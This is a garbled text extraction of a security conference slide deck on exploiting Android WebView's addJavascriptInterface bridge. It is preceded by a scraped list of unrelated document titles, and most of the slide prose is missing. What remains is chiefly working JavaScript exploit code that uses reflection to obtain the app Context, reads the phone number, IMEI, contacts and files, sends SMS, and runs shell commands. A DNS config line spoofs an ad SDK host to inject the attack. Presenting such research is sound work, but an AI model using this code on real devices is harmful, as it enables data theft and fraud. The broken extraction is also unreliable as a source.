Hasegawa_pacsec.pptx

Similar documents
10/ / /30 3. ( ) 11/ 6 4. UNIX + C socket 11/13 5. ( ) C 11/20 6. http, CGI Perl 11/27 7. ( ) Perl 12/ 4 8. Windows Winsock 12/11 9. JAV

untitled

JavaScript 1.! DOM Ajax Shelley Powers,, JavaScript David Flanagan, JavaScript 2

ALG ppt

ALG ppt

アルゴリズムとデータ構造1

1_cover

e10s におけるプロセス間通信の基本 219 HACK #34 Components.manager.removeBootstrappedManifestLocati on() function shutdown(adata, areason) { const IOService =

Java updated

syspro-0405.ppt

haskell.gby

新・明解Java入門

Java (5) 1 Lesson 3: x 2 +4x +5 f(x) =x 2 +4x +5 x f(10) x Java , 3.0,..., 10.0, 1.0, 2.0,... flow rate (m**3/s) "flow

intra-mart Accel Platform — IM-Repository拡張プログラミングガイド   初版  

PowerPoint Presentation

日 用 用 面 示 用 用 方

3 Java 3.1 Hello World! Hello World public class HelloWorld { public static void main(string[] args) { System.out.println("Hello World");

I 11

TopLink å SampleClient.java... 5 Ò readallsample() querysample() cachesample() Ç..

11 Bootstrap Font Awesome $ cd ~/projects/modest_greeter $ npm install --save jquery popper.js tether --save package.json depen

8 if switch for while do while 2

NetworkApplication-09

class IntCell { private int value ; int getvalue() {return value; private IntCell next; IntCell next() {return next; IntCell(int value) {this.value =

文字列操作と正規表現

JavaScript の使い方

1: Preference Display 1 package sample. pref ; 2 3 import android. app. Activity ; 4 import android. content. Intent ; 5 import android. content. Shar

226

Microsoft PowerPoint ppt

浦安ライオンズクラブ81獅子吼.indd

<348C8E8D862E696E6464>

Javaで体験するスクリプト言語の威力

Java (9) 1 Lesson Java System.out.println() 1 Java API 1 Java Java 1

SmartBrowser_document_build30_update.pptx

d_appendixB-asp10appdev.indd

ALG ppt

r3.dvi

Java演習(2) -- 簡単なプログラム --

Boo Boo 2 Boo 2.NET Framework SDK 2 Subversion 2 2 Java 4 NAnt 5 Boo 5 5 Boo if 11 for 11 range 12 break continue 13 pass


Microsoft PowerPoint - Lecture_3

ÉvÉçPM_02

K227 Java 2

class IntCell { private int value ; int getvalue() {return value; private IntCell next; IntCell next() {return next; IntCell(int value) {this.value =

untitled

VB.NETコーディング標準

PowerPoint Presentation

Windows Web Windows Windows WinSock

listings-ext

: : : TSTank 2

javascript key

8 4 end 5 6 private def message 7 'Hello' 8 end 9 end g = Greeting.new 12 g.hello $ ruby lib/lessons/greeting.rb Hello Ruby public method protec

Networking Semester 802.3

cat A

E4X in Firefox nanto_vi (TOYAMA Nao)


55 7 Java C Java TCP/IP TCP/IP TCP TCP_RO.java import java.net.*; import java.io.*; public class TCP_RO { public static void main(string[] a


1.ppt

Microsoft Word - NonGenTree.doc

java_servlet2_見本

FA0072 FA0028


Exam : 1z1-809-JPN Title : Java SE 8 Programmer II Vendor : Oracle Version : DEMO Get Latest & Valid 1z1-809-JPN Exam's Question and Answers 1 from Ac

Thread

Q&A集

グラフの探索 JAVA での実装

IPSJ SIG Technical Report Vol.2015-CLE-16 No /5/23 RESTful Web API Web 1,2,3,4,a) 1,3,2,4 5,6 6 Wannous Muhammad 7,1,8 4,2,1 3,2,1 Maxima Web JS

JavaScriptプログラミング入門 2.JavaScriptの概要

「Android Studioではじめる 簡単Androidアプリ開発」正誤表

CX-Checker CX-Checker (1)XPath (2)DOM (3) 3 XPath CX-Checker. MISRA-C 62%(79/127) SQMlint 76%(13/17) XPath CX-Checker 3. CX-Checker 4., MISRA-C CX- Ch

Client client = ClientBuilder.newClient(); WebTarget webtarget = client.target(" " "); Invo

Safari AppletViewer Web HTML Netscape Web Web 15-1 Applet Web Applet init Web paint Web start Web HTML stop destroy update init Web paint start Web up

JTS Google App Engine S119325

Local variable x y i paint public class Sample extends Applet { public void paint( Graphics gc ) { int x, y;... int i=10 ; while ( i < 100 ) {... i +=

地域と文化資産


tkk0408nari

HOW DO I WebBrowser コントロールで HTML5 を 使用するには ここでは以下の手順で説明します Video 要素を使用する Silverlight と JavaScript の間でやり取りする Canvas 要素を使用する Video 要素を使用する 1. Visual Stu

Exam : 1z0-809 日本語 (JPN) Title : Java SE 8 Programmer II Vendor : Oracle Version : DEMO 1 / 8 Get Latest & Valid 1z0-809-JPN Exam's Question and Answe

明解Javaによるアルゴリズムとデータ構造

Object MenuComponent MenuBar MenuItem Menu CheckboxMenuItem

DEMO1 まずはやってみよう アクティビティをダブルクリック 作成 - プロジェクト C# => Workflow CodeActivity をぽとぺ シーケンシャルと ステートマシン それぞれのコ ンソールアプリ あとライブラリがある びっくりマークは足りていないあかし プロパティをみると判別で

やさしいJavaプログラミング -Great Ideas for Java Programming サンプルPDF

MPI MPI MPI.NET C# MPI Version2

A/B (2018/06/08) Ver kurino/2018/soft/soft.html A/B

目的 泡立ち法を例に Comparableインターフェイスの実装 抽象クラスの利用 型パラメタの利用 比較 入替 の回数を計測

r02.dvi


好きですまえばし


ohp02.dvi

/* do-while */ #include <stdio.h> #include <math.h> int main(void) double val1, val2, arith_mean, geo_mean; printf( \n ); do printf( ); scanf( %lf, &v

Microsoft Word - keisankigairon.ch doc

明解Java入門編

2 static final int DO NOTHING ON CLOSE static final int HIDE ON CLOSE static final int DISPOSE ON CLOSE static final int EXIT ON CLOSE void setvisible

明解Javaによるアルゴリズムとデータ構造


C言語によるアルゴリズムとデータ構造

日 力力 生 行行 入 入 力力 生 用 方

Java学習教材

Transcription:

NetAgent Co., Ltd.

自己 長谷

自己

用 行

ff http://developer.android.com/about/dashboards/index.html

示 示

h"p://media.admob.com/sdk core v40.js

// MainActivity.java public class foo{... public void method( String message ){ dosomething( message );... WebViewObj.addJavascriptInterface( new foo, "javafooobj" ); <script> // inside WebView HTML javafooobj.method( "Hello, World from JavaScript" ); </script>

非 生 用

function getcontext(){ var s, prop, jsinterface, r; for( s in window ){ if( typeof window[ s ] === "object" && window[ s ]!== null ){ prop = window[ s ].tostring(); if( prop.match( /@[\da fa F]+/ ) ){ jsinterface = window[ s ]; if(!jsinterface ) return undefined; r = function( jsinterface ){ this.jsinterface = jsinterface; this.loadclass = function( classname ){ return this.jni = this.jsinterface.getclass().getclassloader().loadclass( classname ); ; this.jni = this.loadclass( "android.webkit.jniutil" ); var myfield = this.jni.getdeclaredfield('scontext'); myfield.setaccessible( true ); this.context = myfield.get( this.jni ); return new r( jsinterface );

function getcontext(){... var env = getcontext(); var checkpermission = function( permission ){ return env.context.getpackagemanager().checkpermission( permission, env.context.getpackagename() ) == 0; ; if( checkpermission( "android.permission.read_phone_state" ){...

// requires READ_PHONE_STATE permission function getcontext(){... var env = getcontext(); var telephonymanager = env.context.getsystemservice( "phone" ); do_something( telephonymanager.getline1number() ); do_something( telephonymanager.getdeviceid() ); do_something( telephonymanager.getsimserialnumber() );

// requires no permissions function getcontext(){... var filename = "/sdcard/download/test.txt"; var runtimeclass = env.loadclass( "java.lang.runtime" ); var runtime = runtimeclass.getmethod("getruntime", { ).invoke( null, { ); var process = runtime.exec( ["sh", " c", "ls l " + filename + ";echo \x01" ] ); var c, n, s = "", filesize; for( n = 0; n < 2000; n++ ){ if( ( c = process.getinputstream().read() ) == 0x01 )break; s += String.fromCharCode( c ); filesize = s.split( /\s+/g )[ 3 ] 0; process = runtime.exec( [ "sh", " c", "cat " + filename ] ); for( s = "", n = 0; n < filesize; n++ ){ c = process.getinputstream().read(); s += String.fromCharCode( c ); do_something( s );

// requires READ_CONTACTS permissions function getcontext(){... var ub = env.loadclass( "android.net.uri$builder" ); var uri = ub.newinstance().scheme( "content" ).authority( "com.android.contacts" ).path( "data" ).build(); var contentresolver = env.context.getcontentresolver(); var cursor = contentresolver.query( uri, [], "", [], "" ); var colcnt = cursor.getcolumncount(); while( cursor.movetonext() ){ var t = ""; for( var i = 0; i < colcnt; i++ ){ var s = cursor.getstring( i ); if( s!== undefined ){ t += cursor.getcolumnname( i ) + ":" + s + ","; do_something( t );

// requires SEND_SMS permission function getcontext(){... var env = getcontext(); var target = "080xxxxxxxx"; var text = "Hello, message"; var smsmanagerclass = env.loadclass( "android.telephony.smsmanager" ); var smsmanager = smsmanagerclass.getmethod( "getdefault", { ).invoke( null, { ); smsmanager.sendtextmessage( target, null, text, null, null );

// requires SEND_SMS permission function getcontext(){... var env = getcontext(); var runtimeclass = env.loadclass( "java.lang.runtime" ); var runtime = runtimeclass.getmethod("getruntime", { ).invoke( null, { ); var process = runtime.exec( [ "service", "call", "SERVICENAME", "args" ]);

# unbound.conf local data: "media.admob.com 10 IN A 192.168.11.254" A"acker Vic>ms

Reference goroh_kun(2013) Android : 3 WebView 2013 9,